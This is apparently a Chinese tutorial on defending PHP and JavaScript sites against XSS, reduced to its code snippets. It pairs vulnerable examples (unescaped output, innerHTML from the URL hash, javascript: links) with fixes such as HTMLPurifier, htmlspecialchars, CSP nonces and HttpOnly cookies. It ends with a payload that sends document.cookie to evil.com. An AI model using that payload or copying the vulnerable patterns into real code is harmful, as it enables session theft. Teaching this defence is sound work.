XSS 攻击防御实战：从输入过滤到输出编码的多层防护体系

1

echo "搜索结果: " . $_GET['q']; // 直接输出，XSS

1
2

var name = location.hash.substring(1);
document.getElementById('name').innerHTML = name; // XSS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

// 手机号：只允许数字
if (!preg_match('/^1[3-9]\d{9}$/', $phone)) {
    throw new InvalidParamException('手机号格式错误');
}

// 邮箱
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    throw new InvalidParamException('邮箱格式错误');
}

// URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    throw new InvalidParamException('URL格式错误');
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

require_once '/path/to/HTMLPurifier.auto.php';

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,u,a[href|title],img[src|alt],ul,ol,li,br,span,h1,h2,h3,h4');
$config->set('HTML.AllowedAttributes', 'a.href,a.title,img.src,img.alt,*.style');
$config->set('Attr.AllowedFrameTargets', ['_blank']);
$config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true]);

$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($dirtyHtml);

1
2
3
4
5
6
7

if (mb_strlen($nickname) > 50) {
    throw new InvalidParamException('昵称不能超过50个字符');
}

if (mb_strlen($bio) > 500) {
    throw new InvalidParamException('简介不能超过500个字符');
}

1

echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8');

1

echo Html::encode($user->nickname);

1
2
3
4
5

// 正确
echo '<div data-name="' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . '">';

// 错误：没有引号，攻击者可以注入属性
echo '<div data-name=' . htmlspecialchars($name) . '>';

1
2

$jsonData = json_encode($userData, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT);
echo "<script>var userData = {$jsonData};</script>";

1
2

// 危险！
echo "<script>var name = '{$userInput}';</script>";

1
2
3
4
5
6

// 验证协议
$url = $userInput;
if (!preg_match('/^https?:\/\//i', $url)) {
    $url = 'about:blank'; // 不是 http/https，用安全默认值
}
echo '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '">链接</a>';

1
2

// 危险！用户输入 javascript:alert(1)
echo '<a href="' . $userInput . '">点击</a>';

1
2
3
4

// 安全：只允许预定义的颜色
$allowedColors = ['red', 'blue', 'green', '#ff0000'];
$color = in_array($userColor, $allowedColors) ? $userColor : 'black';
echo "<div style='color: {$color}'>";

1
2

# Apache 配置
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https:; connect-src 'self' https://api.example.com; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self';"

1

Header set Content-Security-Policy-Report-Only "default-src 'self'; ...; report-uri /csp-report.php;"

1
2
3
4
5

$nonce = bin2hex(random_bytes(16));
header("Content-Security-Policy: script-src 'self' 'nonce-{$nonce}';");

// 页面中的内联脚本加 nonce
echo "<script nonce='{$nonce}'>console.log('safe');</script>";

1
2
3
4
5
6
7
8
9

// PHP 设置 HttpOnly Cookie
setcookie('session_id', $sessionId, [
    'expires' => time() + 86400,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,      // 只在 HTTPS 下传输
    'httponly' => true,    // JavaScript 无法读取
    'samesite' => 'Lax',   // 防 CSRF
]);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

'components' => [
    'user' => [
        'identityCookie' => [
            'name' => '_identity',
            'httpOnly' => true,
            'secure' => true,
            'sameSite' => 'Lax',
        ],
    ],
    'session' => [
        'cookieParams' => [
            'httponly' => true,
            'secure' => true,
            'samesite' => 'Lax',
        ],
    ],
],

1

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">